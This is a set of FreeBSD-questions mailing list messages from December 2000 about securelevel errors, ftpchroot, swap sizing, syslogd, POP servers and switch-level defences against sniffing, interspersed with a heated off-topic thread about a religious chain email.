switch has no shell - imho it's better way.

> 
> Is there relatively cheap switches wich do the same? Is it even a solution?



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Thank you very much for the tip.  That was the problem.

Kevin

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Pieckiel, Kevin A <pieckiel_ka@vdot.state.va.us> types:
> I installed FreeBSD 4.2 via FTP and used CVS to update, build, and install
> new binaries and a new (custom) kernel.  The machine has an Adaptec 3950B
> SCSI card, one 4 GB IDE hard drive (boot and system drive), and five 18.3
GB
> IBM SCSI drives (for data, hot-swappable).  This computer is to be our
> fileserver.  Whenever I try to do anything that writes to the SCSI drives
> (/dev/da{0-4}) I get "OPERATION NOT PERMITTED" as an error message.  I can
> read from the drive just fine using dd:
> 
> dd if=/dev/da0 of=junkfile bs=1024 count=1024
> 
> But if I try anything to write to the drive, it fails.  Any clue why?  I'd
> appreciate your help.

What does "sysctl kern.securelevel" say? If it's 2 or more, that's the
problem. See init(8) for details.

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On Tue, Dec 19, 2000 at 04:41:48PM -0800, Debbie Machado wrote:
> I noticed Yahoo has you listed as one of their business supporters. I
> stopped using Yahoo aggressively after I realized they support all religions
> except Christianity. Just try to find a Christmas card about Christ amongst
> all the other religious cards they freely give users access to on their main
> page for "Christmas".

Gee, how easily we forget CHRISTmas is about Christ.

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Does it really matter? Religion is the biggest business martket out there!

Microsoft: "Where would you like to go to today"
Linux: "Where would you like to go tomorrow"
FreeBSD: "Hey,when are you guys going to catch up"


On Wed, 20 Dec 2000, David Kelly wrote:

> On Tue, Dec 19, 2000 at 04:41:48PM -0800, Debbie Machado wrote:
> > I noticed Yahoo has you listed as one of their business supporters. I
> > stopped using Yahoo aggressively after I realized they support all religions
> > except Christianity. Just try to find a Christmas card about Christ amongst
> > all the other religious cards they freely give users access to on their main
> > page for "Christmas".
> 
> Gee, how easily we forget CHRISTmas is about Christ.
> 
> --
> David Kelly N4HHE, dkelly@hiwaay.net (hm)
> ======================================================================
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> capacity -- the rest is overhead for the operating system.
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On Wed, Dec 20, 2000 at 03:34:39AM -0600, Tyler K McGeorge wrote:
> University of California at Berkeley at one point in time bought the rights 
> to work on UNIX from Bell Systems back in 1978. They shortly thereafter 
> forged their own variant of UNIX which they called BSD (Berkeley Software 
> Distribution). Soon after came 2BSD (which shipped 75 copie, as opposed to 
> the 30 shipped of BSD.) 2.8.1BSD gave way to many enhancements, and is more 
> important than 3BSD in that aspect. 
> 4BSD was released in 1980, 4.1BSD in 1981 (which has revisions made between 
> 82 and 83), 4.2 in 83, and finally 4.4BSD in 93. (I think some of those dates
> are inaccurate, but I only have one source on this at the moment.)) After 
> 4.4BSD, UCB was forced to become BSDI, which is now a major non-free Unix. 
> Using 4.4BSD, there have been multiple offspring. OpenBSD, NetBSD, FreeBSD 
> and BSD Lite. Open referring to Open source, Net referring to Networking 
> based and Free being without cost. BSD Lite is a small version of BSD (never 
> really had much experience with anything but FBSD.)
>
Some corrections:
OpenBSD focuses on security, NetBSD on portability and FreeBSD on the i386
(and alpha) platform and ease of use. All of [Open|Net|Free]BSD are both
open source and free. BSD Lite is the base for all of the BSD's, being the
final release of BSD from UCB. The 'original' 4.4BSD is called 
'encumbered' because AT&T had the lawsuit over it and claimed it contained
portions of their code. The 'small version' is PicoBSD, which is based 
on FreeBSD.
Look up http://www.oreilly.com/catalog/opensources/book/kirkmck.html for
a very nice history of Berkely Unix.

> And if the rumors I've heard have any validity, I hear FBSD 5.0 is planning 
> on united OBSD, NBSD and FBSD. Yay!

I'm wondering where you heard that rumors... maybe you're referring to the
fact that BSDI (the company behind the commercial BSD version) and Walnut
Creek Cdrom (the company selling FreeBSD CDroms and main sponsor of
FreeBSD) have merged this year. What it means for the code base is that
portions of BSD/OS will be merged into FreeBSD, i.e. the SMP code of
FreeBSD 5.0 is totally rewritten now based on BSD/OS - I don't know about
details though. The official announcement about the merger can be found
here http://www.wccdrom.com/press/merger.html .

OpenBSD and NetBSD are not really involved in this merger, but as open
source projects it's just natural that code is going from one to another.
For example, OpenSSH was initiated by the OpenBSD guys but became rather
quickly integrated in FreeBSD as well.

Note that Walnut Creek sold also other products besides FreeBSD, which are
being continued of course. One of them is Slackware Linux :-). See 
http://www.wccdrom.com/ for their cdroms.

>   ----- Original Message ----- 
>   From: Mr. Makarand Kulkarni 
>   To: freebsd-questions@FreeBSD.ORG 
>   Sent: Tuesday, December 19, 2000 2:24 AM
> 
> 
>   Sir i want to know what is the meaning of FreeBSD, please let me know its fullform
>

BSD stands for 'Berkeley Software Distribution', and FreeBSD is a BSD version
based on 4.4BSD-Lite2.

Karel.


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At 17:40 19-12-00 -0500, you wrote:

I cannot reply to the person that was helping me before, so I did it this way.
Please help me out

 > It sounds like something is going wrong at boot, dropping you into
 > single-user mode.  You will have to be a little more specific
 > about the 'bla bla bla' part of the output if you want anybody
 > to be able to help you figure out what's going wrong, though...


Sorry, you're right, I need to be more specific.
Here is the message I get when i boot up:

--
Can't check filesystem
Unexpected inconsistency: run fsck manually
Enter full pathname of ehll or RETURN for /bin/sh
--



When I run fsck the following message is displayed:

--
Can't open /dev/ad0s1a: invalid argument
Can't open /dev/ad0s1f: invalid argument
Can't open /dev/ad0s1e: invalid argument
--

So, as long I'm stil a newbey - can you explane what this exactly means.
Thanks.

greetings,

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>Apologies if I missed something obvious here, but I would like to know how to set up one of my BSD workstations to run through my Squid proxy server.
>

After three days away from computers, I realize I did miss something obvious.  The proxy settings are on an application basis... not the OS.  

Also, from many peoples posts in the past regarding how helpful the people who subscribe to this list are, I would have hoped that someone would inform me of such a newbie mistake.

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Jason,

http://www.ocsny.com/main/index.ocs?url=ftpchroot

Cheers,
mikel
Jason Halbert wrote:

> Hi everyone:
>
> I need to create a user that has very restricted access to the system.
> I need to allow access to my ftp to a lot of people but these people
> don't need access to telnet or ssh or any other service on my box.  I
> would like to limit the user that way, as well as another way.  I
> would also like to limit the user in what they can see.  Is it
> possible to not allow the user to cd out of its home directory?  I
> don't want them seeing anything outside of that dir if possible.
>
> Any ideas on how to get started?
>
> Thanks in Advance
>
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This may help you...

http://www.ocsny.com/main/index.ocs?url=ftpchroot


cheers,
mikel

sac@gruponet.com.br wrote:

>  Mrs. How do you do for not permited access of the users for others
> directories, oh the others ftp's in my ftpd?example: ftp://joao , if
> this user run the command cd .., he hasn't permission to access others
> directorios, of the others domains.I have the file ftpchroot and your
> domains registred. Thanks.

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<p>cheers,
<br>mikel
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do you do for not permited access of the users for others directories,
oh the others ftp's in my ftpd?</font></font><font face="Arial"><font size=-1>example:
<a href="ftp://joao">ftp://joao</a> , if this user run the command cd ..,
he hasn't permission to access others directorios, of the others domains.</font></font><font face="Arial"><font size=-1>I
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Hello,
I was mailing someone with a question regarding a large setup (multiple=20
servers for mail) and the person told me that there was someone who had=20
mentioned some sort of setup for "million + users".

Although I have most stable and questions mail, I can't find the string w=
here=20
it mentions what I am looking for or the person who has done this.

Anyone have that mail or if the person who sent it, please get back to me=
=2E

TIA
----------------
Lanny Baron
FreeBSD Systems, Inc.
Freedom Technologies Corp.
Proud to be 100% FreeBSD
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Hi!

On my FreeBSD 3.3-RELEASE I have in my /etc/rc.conf

syslogd_enable="YES"
syslogd_flags="-a '212.9.160.0/19:*'"

This causes syslogd *not* to be started. Hmm, bad. I gather this is
due to the flags, because the default/rc.conf settings work fine.

What would be the correct setup for the flags?

Thanks,
norbert.


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On Tue, 19 Dec 2000, Jonathan Pennington wrote:

> * Jeremiah Gowdy <jgowdy@home.com> [001219 20:56]:
> > I apologize to everyone else on this list but if someone had came on the
> > list using the word "nigger" or any other sort of bigotry, I would react the
> > same.  I am not a Christian, I know there are millions of other people out
> > there who are not Christians, and I don't see how someone could say "Why
> 
> As a fellow non-christian (and one of those other things you mentioned
> up there as well) all I can say is "AMEN, BROTHER!"

I liked the 'flames' too...bigotry is a real problem - no matter what 
guise it hides behind.  Everytime I see some zealot write in with a
silly complaint about how her/his state sanctioned monopoly (In God 
We Tru$t, etc...) is being abused, ignored, so on...I find myself wondering
how this person would feel were s/he a member of a minority community.
Of course, she could be a lesbian woman of colour - but then I'd find
myself thinking: talk about denial, whoa!  Maybe she just likes typing?
Or looks for extra mail during the holidays?

The comments were colourful to be sure but this unit (the original author)
needs to fflush her headgear.  Reboot sister, you got a dirty page
stuck somewhere!

Happy Holidays folks,
Tom




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on a FreeBsd OS ?

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|O|> You need to install the 3.x compatibility libraries.
|O|>
|O|> cd /usr/src/lib/compat/compat3x.i386
|O|> make install clean
|O|> ldconfig -m /usr/lib/compat
|O|>
|O|> Or, use sysinstall.

 Excellent. I had to use sysinstall but everybody is happy now. Thanks for
the tip.

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Mrs,

In my file ftpchroot i have domain of my server, example:

Into ftpchroot

joao.com.br, for restrict this domain only to your directory, use other =
line in the file ftpchroot?

How do you do configure this file ftpchroot?

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On Wed, Dec 20, 2000 at 07:17:01AM -0800, Jose Montilla wrote:
> on a FreeBsd OS ?
man rc.conf

-- 
Igor Robul, Unix System Administrator & Programmer @ sanatorium "Raduga", 
Sochi, Russia
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>  I installed FreeBSD RELEASE 4.1 on an old Pentium I machine. The install =
>  went fine, but for some reason the machine will restart fine, but won't =
>  cold boot if it shutdown and turn off the power. Any ideas?

I think there were some boot block problems with FreeBSD 4.1[.1]-RELEASE.
without more details like can it boot if you use the diskette boot blocks
and manually give the boot command (for example ad(0,a)/kernel) when it
starts booting and other details as the hardware and configuration of the
machine.

I would highly suggest installing FreeBSD 4.2-RELEASE.



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I install FreeBSD with windows 95. I have 6.4GB Harddrive.
Win 95 use -- 3400GB and others for FBSD.
I create only two partition one for / and other swap.
I have 128MB RAM so I create 256MB for swap.
Swap takes much MB.
Do I create 128MB for swap ? Do it create any problem or make slow my
X-windows ?

Till one month I read so many message from FBSD mailing list and also
FreeBSD book,
I have few questions but now I ask only one :-
In Chapter 5 , Where to put /var and /tmp section:-
"  If we don't specify anything else, /var & /tmp will end up on the /root
file system,which
isn't enormous. If we leave things like that,there's a very good chance that
the root file
system will fillup"   WHY ?
Do it good to create separate partition for /var & /tmp like / & swap ?






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Chris,

My secure level is currently set to 2.

I have never used a security level higher than medium before, but on this
install, i went to the highest, and this is the first time i've tried to
rebuild the binaries.

What do i need to do to get make world to work?

Thanks for your help!

Peter Brezny
SysAdmin Systems Inc.

On Tue, 19 Dec 2000, Crist J. Clark wrote:

> On Tue, Dec 19, 2000 at 04:41:22PM -0800, Peter Brezny wrote:
> > I've just cvsuped the entire collection, 
> > 
> > built the world with
> > 
> > /usr/src/make buildworld
> > 
> > and on
> > 
> > /usr/src/make installworld i get
> > 
> > ===> lib/libcrypt
> > install -c -o root -g wheel -m 444   libscrypt.a /usr/lib
> > install -c -o root -g wheel -m 444   libscrypt_p.a /usr/lib
> > install -c -s -o root -g wheel -m 444   -fschg  libscrypt.so.2 /usr/lib
> > *** Error code 71
> > 
> > Any Ideas?
> 
> What's your securelevel(8)?
> -- 
> Crist J. Clark                           cjclark@alum.mit.edu
> 



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howdy,
try man ftpd. in any case :
     /etc/ftpusers    List of unwelcome/restricted users.
     /etc/ftpchroot   List of normal users who should be chroot'd.
     /etc/ftphosts    Virtual hosting configuration file.
     /etc/ftpwelcome  Welcome notice.
     /etc/ftpmotd     Welcome notice after login.
     /var/run/nologin Displayed and access refused.
     /var/log/ftpd    Log file for anonymous transfers.
in ftpchroot you put user names ( not domain names) that correspondent to
user for that virtual domain.
i hope that helps. ( i hope i understand what was your question)
alex


On Wed, 20 Dec 2000 henrique@gruponet.com.br wrote:

> Mrs,
> In my file ftpchroot i have domain of my server, example:
> Into ftpchroot
> joao.com.br, for restrict this domain only to your directory, use other line in the file ftpchroot?
> How do you do configure this file ftpchroot?
> []'
>    Henrique



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I use Intel 460T standalone switches, and they have the ability to keep the
database from learning new MAC addresses, and you can manually program the
MAC addresses to each port.

This is much safer than default configuration, but it takes a lot of the
convenience of the switches ability to handle changes.

I'm not necessarily saying they are better than others, I don't like some of
the features they have, and I haven't tried many other switches.

I could go either way for security or convenience, but most networks don't
change like mine does, so the call would up to the person that has to
maintain those switch databases, and what tools are available to automate
that process. Any "good" SNMP software would probably suffice in allowing
you to remotely make database changes, and monitor the switches as well.
another nice thing with these is they have the ability to use BOOTP so the
configs can be centrally located.

Chuck

> -----Original Message-----
> From: Artem Koutchine [mailto:matrix@ipform.ru]
> Sent: Wednesday, December 20, 2000 6:30 AM
> To: Vladimir Mencl, MK, susSED; David Talkington
> Cc: Chuck Rock; security@FreeBSD.ORG; questions@FreeBSD.ORG
> Subject: Re: What anti-sniffer measures do i have?
>
>
> N/A for windows. Only for UNIX. So, not usable in heterogenic
> networks.
>
> ----- Original Message -----
> From: "Vladimir Mencl, MK, susSED" <mencl@nenya.ms.mff.cuni.cz>
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> > On Tue, 19 Dec 2000, David Talkington wrote:
> >
> > > Far as I know, hard-coding an arp table is the only way to prevent
> > > that sort of thing ... someone please correct me if I'm wrong?
> >
> > Hardcoding the ARP table both in the switch and in every computer "to be
> > protected" in the network. Every computer would have to know both IP and
> > ethernet address of at least the router, the nameserver and all
> > computers it connects to.
> >
> > Will it be enough?
> >
> > ...putting the switch into a mode like "use only-and-only this hardcoded
> > arp-table"....
> >
> >
> >
> > Vladimir Mencl
> >
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Hi!

See man ftpd

Best regards

Johan

On Wed, 20 Dec 2000 henrique@gruponet.com.br wrote:

> Mrs,
>  
> In my file ftpchroot i have domain of my server, example:
>  
> Into ftpchroot
>  
> joao.com.br, for restrict this domain only to your directory, use other
> line in the file ftpchroot?
>  
> How do you do configure this file ftpchroot?
>  
> []'
>    Henrique
> 

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I can cold boot using the kern.flp and mfsroot.flp floppies. That brings me
to the install screen, but if I exit install without doing anything else, it
warm boots fine. I'll try the 4.2-RELEASE.

Thanks!

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>
> >  I installed FreeBSD RELEASE 4.1 on an old Pentium I machine. The
install =
> >  went fine, but for some reason the machine will restart fine, but won't
=
> >  cold boot if it shutdown and turn off the power. Any ideas?
>
> I think there were some boot block problems with FreeBSD 4.1[.1]-RELEASE.
> without more details like can it boot if you use the diskette boot blocks
> and manually give the boot command (for example ad(0,a)/kernel) when it
> starts booting and other details as the hardware and configuration of the
> machine.
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QPOPPER being slow, is usually the result of the machine, and/or the 
DNS configuration used. Personally I'd highly reccomend using cucipop 
instead of qpopper; it doesn't have all of the security issues that 
qpopper does, and it runs standalone, (you don't use inetd). It runs 
much faster, (in my experience anyhow), under higher loads. I have 
setup many mail servers now, some with >20000 users all using cucipop - 
works much better than qpopper. Just install cucipop from the ports 
collection, and start it with the following command:

/usr/libexec/cucipop -Y

Add a similar line to your /etc/rc.local file, 
or /usr/local/etc/rc.d/pop3.sh file to make cucipop run when the system 
is booted up.

> Hello all.
> I'm in the process of learning more about FreeBSD. To be honest I 
have 
> spend hard times (I'm sorry I came from MS world). FreeBSD works and 
> installed without problems, things is that I still need to get used 
to work 
> with it.
> Anyway, I finally could instalL QPOPER (from the PORTS area) but 
works VERY 
> SLOW.
> My testing and learning machine is a PII 350Mhz 128RAM 1 Hd 8GB, I'm 
> running only apache,mysql and smtp (learning how to configure all) 
under 
> FreeBSD 3.2
> Since it is my testing machine it doesn't matter if QPOPPER is slow 
but 
> this sure couldn't be a production machine for an ISP business.
> How can I do that QPOPPER runs faster?
> 
> Thanks in advance.
> 
> JB
> 
> 
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New Star Service Company (nestar@globalctg.net) wrote:

> I have 128MB RAM so I create 256MB for swap.
> Swap takes much MB.
> Do I create 128MB for swap ? Do it create any problem or make slow my
> X-windows ?

I've heard that you should make your swap partition twice as big as your
physical RAM. I have never seen my swap usage at more than 50%, but I'm
not sure what its peak usage has been. (Any way to check?)

If you plan to run a lot of memory intensive programs (X, Gimp,
Mozilla), you might need it.

> Till one month I read so many message from FBSD mailing list and also
> FreeBSD book,
> I have few questions but now I ask only one :-
> In Chapter 5 , Where to put /var and /tmp section:-
> "  If we don't specify anything else, /var & /tmp will end up on the /root
> file system,which
> isn't enormous. If we leave things like that,there's a very good chance that
> the root file
> system will fillup"   WHY ?

By default, the root filesystem is 100MB. If /var and /tmp reside on /,
you could potentially fill up the filesystem. For example, my mail
client writes mailbox contents to /tmp before saving; I filled /tmp when
I tried to save a large mailbox. Rather than mount /tmp on a separate
filesystem, I did the following:

# rm -R /tmp
# ln -s /usr/tmp /tmp

This creates a symbolic link to /usr/tmp. /usr is normally a much bigger
partition than /tmp

I also moved /var/logs to /usr, because I have an http server that
generates a lot of log files.

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On Wed, 20 Dec 2000, Crist J. Clark wrote:
> On Fri, Dec 22, 2000 at 04:05:59PM -0800, Mike Batchelor wrote:
> > I am in windows right now, so I can't verify that the following filename is
> > correct.  It is somethign like /etc/syslog and in there, you can comment out
> > line 5 (messages that go to the console) and comment out the lines that go
> > to 'root'.  Then reboot to make the changes.  Actually, does anyone know
> > another way to make the changes without rebooting?
> 
> And you're answering questions? ;) "Thou shall not reboot for
> configuration changes,"
> 
>   # kill -HUP `cat /var/run/syslog.pid`

and anyway, the advice is not advisable:)
I'd better grep -v the arp messages than configure syslog to ignore LOG_ERR
messages!

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> I install FreeBSD with windows 95. I have 6.4GB Harddrive.
> Win 95 use -- 3400GB and others for FBSD.
> I create only two partition one for / and other swap.
> I have 128MB RAM so I create 256MB for swap.
> Swap takes much MB.
> Do I create 128MB for swap ? Do it create any problem or make slow my
> X-windows ?

Beware, I am also a newbie, so I am sure someone will give better answers.

I think it is 1 1/2 x memory, or something like that.  From what I have
seen, the more memory you have, the less you will need to use swap (but you
still need it).  That said, I would use a swap file at least as big as your
memory.  I am sure the handbook would address this and give a much more
precise answer (although I can't find it in the handbook).  

> In Chapter 5 , Where to put /var and /tmp section:-
> "  If we don't specify anything else, /var & /tmp will end up 
> on the /root
> file system,which
> isn't enormous. If we leave things like that,there's a very 
> good chance that
> the root file
> system will fillup"   WHY ?
> Do it good to create separate partition for /var & /tmp like 
> / & swap ?

I don't speak for Greg, but I think he suggests creating a single partition.
I know there are arguments back and forth, but I think the old argument is
root gets very little write access, and therefore should be seperate from
/var, /etc, etc.  Perhaps to prevent the root from crashing with another
parition.

I myself just use a single partition.  Supposedly with the newer
harddrives/computers, there is less reason to break up into multiple
partitions.  Greg could explain this much better.  

That said, I am only running a gateway.  There may be valid reasons to break
up into mulitple partitions, especially if this is for mission critical use.

I am sure someone will provide a more detailed rational.  Also check the
message archives, I have seen this thread before.

...Michael...


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Most (all?) Cisco Catalyst switches allow you to set "port security" which
will disable the port either for a fixed period of time or forever until a
supervisor re-enables it if it detects 'too many' MACs on a port or
overlapping MAC addresses on ports.  It gives a decent level of security
without having to manually program MACs into all of the ports (ick!) Only
thing I haven't tested is if using spanning tree breaks this functionality
at all (I think I remember it having to sometimes look for duplicate MACs on
ports)...  not that spanning tree is a good solution to anything IMHO.

Only downside is their price tag....

-Shadow
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----- Original Message -----
From: "Chuck Rock" <carock@epconline.net>
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Sent: Wednesday, December 20, 2000 11:02 AM
Subject: RE: What anti-sniffer measures do i have?


> I use Intel 460T standalone switches, and they have the ability to keep
the
> database from learning new MAC addresses, and you can manually program the
> MAC addresses to each port.
>
> This is much safer than default configuration, but it takes a lot of the
> convenience of the switches ability to handle changes.
>
> I'm not necessarily saying they are better than others, I don't like some
of
> the features they have, and I haven't tried many other switches.
>
> I could go either way for security or convenience, but most networks don't
> change like mine does, so the call would up to the person that has to
> maintain those switch databases, and what tools are available to automate
> that process. Any "good" SNMP software would probably suffice in allowing
> you to remotely make database changes, and monitor the switches as well.
> another nice thing with these is they have the ability to use BOOTP so the
> configs can be centrally located.
>
> Chuck
>
> > -----Original Message-----
> > From: Artem Koutchine [mailto:matrix@ipform.ru]
> > Sent: Wednesday, December 20, 2000 6:30 AM
> > To: Vladimir Mencl, MK, susSED; David Talkington
> > Cc: Chuck Rock; security@FreeBSD.ORG; questions@FreeBSD.ORG
> > Subject: Re: What anti-sniffer measures do i have?
> >
> >
> > N/A for windows. Only for UNIX. So, not usable in heterogenic
> > networks.
> >
> > ----- Original Message -----
> > From: "Vladimir Mencl, MK, susSED" <mencl@nenya.ms.mff.cuni.cz>
> > To: "David Talkington" <dtalk@prairienet.org>
> > Cc: "Chuck Rock" <carock@epconline.net>; <security@FreeBSD.ORG>;
> > <questions@FreeBSD.ORG>
> > Sent: Wednesday, December 20, 2000 3:23 PM
> > Subject: RE: What anti-sniffer measures do i have?
> >
> >
> > > On Tue, 19 Dec 2000, David Talkington wrote:
> > >
> > > > Far as I know, hard-coding an arp table is the only way to prevent
> > > > that sort of thing ... someone please correct me if I'm wrong?
> > >
> > > Hardcoding the ARP table both in the switch and in every computer "to
be
> > > protected" in the network. Every computer would have to know both IP
and
> > > ethernet address of at least the router, the nameserver and all
> > > computers it connects to.
> > >
> > > Will it be enough?
> > >
> > > ...putting the switch into a mode like "use only-and-only this
hardcoded
> > > arp-table"....
> > >
> > >
> > >
> > > Vladimir Mencl
> > >
> > >
> > >
> > >
> > >
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> >
> >
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On Wed, Dec 20, 2000 at 11:00:34AM -0500, peter@virtual.sysadmin-inc.com wrote:
> Chris,
> 
> My secure level is currently set to 2.
> 
> I have never used a security level higher than medium before, but on this
> install, i went to the highest, and this is the first time i've tried to
> rebuild the binaries.
> 
> What do i need to do to get make world to work?

Do you understand what securelevel(8) does? As you can see below,
libscrypt.so.2 and other files with the schg flag set _cannot be
modified._

You need to get to a lower securelevel in order to install. That is,
you need to boot to single-user mode.

> On Tue, 19 Dec 2000, Crist J. Clark wrote:
> 
> > On Tue, Dec 19, 2000 at 04:41:22PM -0800, Peter Brezny wrote:
> > > I've just cvsuped the entire collection, 
> > > 
> > > built the world with
> > > 
> > > /usr/src/make buildworld
> > > 
> > > and on
> > > 
> > > /usr/src/make installworld i get
> > > 
> > > ===> lib/libcrypt
> > > install -c -o root -g wheel -m 444   libscrypt.a /usr/lib
> > > install -c -o root -g wheel -m 444   libscrypt_p.a /usr/lib
> > > install -c -s -o root -g wheel -m 444   -fschg  libscrypt.so.2 /usr/lib
> > > *** Error code 71
> > > 
> > > Any Ideas?
> > 
> > What's your securelevel(8)?
> > -- 
> > Crist J. Clark                           cjclark@alum.mit.edu
> > 

-- 
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> I live in Thunder Bay, Ontario, Canada. Which company carries your CDs
> or were can I buy it. I do not use credit cards. I simply need the
> name of a store. Francis Poulin

I'm not sure of any stores off-hand that carry FreeBSD up there.  (I have
a hard enough time trying to find it in Toronto or Kitchener!)

Are you looking for the complete 4-volume set, or just the first CD which
is all you need to get up and running?  (If you've got a high-speed
Internet connection, such as TBTel DSL, then the other 3 CDs aren't really
needed.)

I'd be willing to make a copy of my FreeBSD-4.2 set and send it to you for
the cost of the media.

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She is just pissed because all of the Christmas cards were not 
Christian. Either that or she is just stupid.

Debbie Machado wrote:

> I noticed Yahoo has you listed as one of their business supporters. I 
> stopped using Yahoo aggressively after I realized they support all 
> religions except Christianity. Just try to find a Christmas card about 
> Christ amongst all the other religious cards they freely give users 
> access to on their main page for "Christmas".  Since Yahoo refuses to 
> acknowledge Christmas as an American Religious Holiday, like the other 
> ones they list, I figured this year I would sent out a Christmas card 
> from their service to all my family, friends, business associates, 
> clients, & online news media simply explaining what I've observed and 
> how it makes me feel.  I also will list all the sponsors, advertisers, 
> & partners as supporters.  You don't need to respond to me. YOU NEED 
> TO REACT TO THEM.  In Him -Debbie   
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People can be so petty.

Microsoft: "Where would you like to go to today"
Linux: "Where would you like to go tomorrow"
FreeBSD: "Hey,when are you guys going to catch up"


On Wed, 20 Dec 2000 leoric@home.com wrote:

> She is just pissed because all of the Christmas cards were not 
> Christian. Either that or she is just stupid.
> 
> Debbie Machado wrote:
> 
> > I noticed Yahoo has you listed as one of their business supporters. I 
> > stopped using Yahoo aggressively after I realized they support all 
> > religions except Christianity. Just try to find a Christmas card about 
> > Christ amongst all the other religious cards they freely give users 
> > access to on their main page for "Christmas".  Since Yahoo refuses to 
> > acknowledge Christmas as an American Religious Holiday, like the other 
> > ones they list, I figured this year I would sent out a Christmas card 
> > from their service to all my family, friends, business associates, 
> > clients, & online news media simply explaining what I've observed and 
> > how it makes me feel.  I also will list all the sponsors, advertisers, 
> > & partners as supporters.  You don't need to respond to me. YOU NEED 
> > TO REACT TO THEM.  In Him -Debbie   
> > 
> 
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On Wed, 20 Dec 2000, Richard Schuder wrote:

> Here's a tough one!
> 
> I want to replace the two dots ``..'' with a URL address like
> ``http://website.address.com'' in the following text:
> 
> "../path/to/website/index.html"
> 
> The vi command would be...
> 
> :s/\../http://website.address.com
s/\.\./http:\/\/website.address.com/
> 
> but, the two forward slashes following "http:" confuse vi's replace command.

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Sorry I just realized in my original email I forgot to give you the version
of the Free BSD 
on the telnet session it says "FreeBSD 2.2.8-RELEASE (GENERIC)#0:"

> -----Original Message-----
> From:	Evoniuk, Rodney 
> Sent:	Monday, December 18, 2000 12:48 PM
> To:	'freebsd-questions@freebsd.org'
> Subject:	BSD Proxy 
> 
> I am a network specialist supporting our products in a network
> environment.
> Our software uses telnet access from the local machine to  access our
> servers here.  The issue I have been encountering with a client, who
> states
> they are using a Unix BSD Application Proxy on their network, is that I
> can
> utilize telnet itself to get to our threshold.  But,  when I attempt to
> script this  into our software application it appears like I cannot get
> their proxy/firewall to respond.   I have spent days working with the
> client
> checking all angles of our software and our script to get through the
> firewall, and by all means given the telnet session it should pass through
> this proxy server, but it will not respond to any portion of our script.
> I
> have even sent a telnet details command, within a script, looking for any
> response from the proxy but the proxy returns no response.
> 
> 
> The telnet port the customer is using is 23, terminal type is VT100.
> 
> I have enclosed a link to our software download it can be installed
> locally for test purposes the link is:
> 
> http://software.westgroup.com/esd/software/WM73Win/dlinstr.asp?first_name=
> rodney&last_name=Evoniuk&city=Egan+&state=MN&country=&email=rodney.evoniuk
> @westgroup.com&phone=123-456-7888&bnSubmit=Continue
> 
> 
> Once installed  launch the software and choose cancel at the sign on
> screen. To setup the firewall script mentioned above you go to tools,
> communication options and click on the advanced access tab.  Then click on
> Scripts and first choose westsock then click on properties, you will see
> the following script:
> 
>  10 label 'Internet // Windows Sockets'
>   20 genmsg
>   30 versions
>   40 getport
>   ;45 firewall
>   50 on 'fail',150
>   60 <serviceScript>
>   70 on 'fail',150
>   80 goto 180
>  150 ems 'Access failed.  Please try again.'
>  170 end
>  180 exit
> 
> 
> Unrem line 45 (take out the ";") and save
> 
> then choose firewall from the script list and you will see the following
> script:
> 
>   25 lfstatus 'Connected to firewall.'
>   ;27  prompt 'Username:', login_code
>   ;28  prompt 'Password:', password, 1
>   30 rx 'login:', 80
>   40 pause 150
>   50 lfstatus 'Login prompt not received from firewall.'
>   60 return 'fail'
>   80 tx '<login>',<delay>
>   85 tx '^M',<delay>
>   90 rx 'password:',140
>  100 pause 150
>  110 lfstatus 'Password prompt not received from firewall.'
>  120 return 'fail'
>  140 tx '<password>',<delay>
>  145 tx '^M',<delay>
>  150 rx '$', 200
>  160 pause 150
>  170 lfstatus '$ prompt not received from firewall.'
>  180 return 'fail'
>  200 tx 'telnet westlaw.westlaw.com',<delay>
>  210 tx '^M',<delay>
>  500 end
> 
> 
> the changes we typically make are as follows:
> 
> 30 rx ':',80
> 80 tx 'enter your login here for firewall',<delay>
> 90 rx ':' ,140
> 140 tx 'enter your password her for firewall' <delay>
> 150 rx '>',200          
> 
> NOTE:  these are dependant on a telnet session for example:
> 
> AIX Version 4
> (C) Copyrights by IBM and by others 1982, 1996.
> login: **************
> ***********'s Password:***********
> **************************************************************************
> *****
> *
> *
> *
> *
> *  Welcome to AIX Version 4.2!
> *
> *
> *
> *
> *
> *  Please see the README file in /usr/lpp/bos for information pertinent to
> *
> *  this release of the AIX Operating System.
> *
> *
> *
> *
> *
> **************************************************************************
> *****
> Last login: Tue Dec 12 11:02:36 2000 on /dev/pts/0 from *****(our proxy
> address)*****
> 
> $ 
> 
> given this telnet session I would use the following changes:
> 
> 30 rx ':',80
> 80 tx '************',<delay>
> 90 rx ':' ,140
> 140 tx '************' <delay>
> 150 rx '$',200          
> 
> ONE Last change must be done before you can attempt to sign on using our
> software is to go to the General TAB in the communications setup and make
> sure the communication device is TCP/IP   the remote IP address is the
> address of your firewall and the sign on option tab (on the left hand
> side) is set to Westlaw via Windows Sockets
> 
> 
> given this scenario  the client I refer to does not get the first rx from
> the firewall i.e. line 30  even if we set our software to show details it
> fails to do so there appears like using this scripting feature that we get
> no response from the firewall.   
> 
> NOTE:   a person can change the port our script would use for the telnet
> and turn on details from the firewall by simply launching the following
> file from  C:/program files/west Group/Westmate/SysAdmin.exe  choose
> setup, Registry setup and change the TCP port to the desired telnet port
> and to turn on details from the proxy and/or firewall simply type in Yes
> instead of the No entered in the Telnet Display box.
> 
> 
> ONCE the changes are made to the communications as mentioned one should be
> able to go to File, Sign on westlaw,  It will prompt you for a password:
> you can simply enter in 12345abc   and you must enter in a client ID  you
> can type in test and although this will not let you on to Westlaw it
> should take you to our door step and give you an error that password is
> not valid.   But during the signon procedure you can click on the details
> tab and it will give you a detailed message of the script and script
> errors along with the details from the proxy/firewall if you edited the
> SysAdmin.exe file and changed the Telnet Display from NO to Yes.
> 
> 
> As mentioned we have tried several different changes to the script but no
> matter what I do it appears that the firewall is not responding to our
> script and we get no details    NOTE if you go back into the SysAdmin.exe
> file to check your settings they are automatically changed back to the
> default settings and it does not reflect your changes.  Your changes are
> automatically changed in the actual registry for our program...
> 
> 
> 
> Thank You for any help you can provide  If I can be of service in helping
> you set this up for testing please feel free to give me a call at
> 1-800-WESTLAW  ext. 76818     Also if you need an actual password for
> further testing I can provide you with one,  but I cannot email you one.
> 
> 
> Sincerely;
> Rodney H. Evoniuk
> West Group
> Network Specialist
> 
> 
> PS  we do not install proxy servers for clients 


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Do I need to include subnet masks in natd.conf in order to allow redirection
of ports from the Internet (class C) to the internal class B network?

I used to have FreeBSD box work perfectly with internal C class network.
After the company switched to B class network, I reconfigured the "internal"
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Has anyone experience with the Argosy EN-225 NIC? I know the EN-235
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Hi All,

